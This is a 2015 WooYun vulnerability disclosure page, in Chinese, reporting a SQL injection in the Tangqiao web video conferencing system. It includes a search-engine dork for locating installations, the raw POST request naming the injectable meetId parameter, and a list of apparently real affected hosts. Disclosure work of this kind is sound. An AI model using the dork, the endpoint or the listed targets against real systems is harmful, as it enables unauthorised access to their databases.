当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0103116

漏洞标题：某视频会议系统存在通用型SQL注入（一）

相关厂商：唐桥科技

漏洞作者： YY-2012

提交时间：2015-03-23 13:48

修复时间：2015-05-07 13:50

公开时间：2015-05-07 13:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-23： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-07： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

WooYun: 某视频会议系统存在严重信息泄露+通用的SQL注入
唐桥视频会议
谷歌：inurl:web_meeting/index.php

POST /common/web_meeting/index.php?module=fast_join HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*
Referer: http://huizhi2000.xicp.net/common/web_meeting/index.php?module=join_meeting&userId=1&siteId=10
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 3.0.04320; .NET CLR 2.0.50727)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: huizhi2000.xicp.net
Content-Length: 53
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: lan=zh-cn; mtUserLanguage1=zh-cn; PHPSESSID=5d20ef872ff5e29023acb27ca5865e46
meetId=1111&nickName=aaaaaaa&passWord2=aaaaaaaaaaaaaa

漏洞证明：

Parameter: meetId (POST)


aaaaaaaaa11111111111.jpg


案例：

http://huizhi2000.xicp.net/common/web_meeting/index.php?module=bulletin_board
http://211.153.76.137/common/web_meeting/index.php?offsetadd=1&day=10&min=03&year=2015
http://218.108.168.75/common/web_meeting/index.php?module=meeting_info&userId=1&meetId=817308456&siteId=10
http://218.108.168.75/common/web_meeting/index.php?module=meeting_info&meetId=811199287&userId=1&siteId=10&meetingType=2
http://111.11.183.88/common/web_meeting/index.php?module=meeting_room
http://115.236.34.51:9080/common/web_meeting/index.php?module=join_meeting&userId=1&siteId=10

修复方案：

过滤

版权声明：转载请注明来源 YY-2012@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝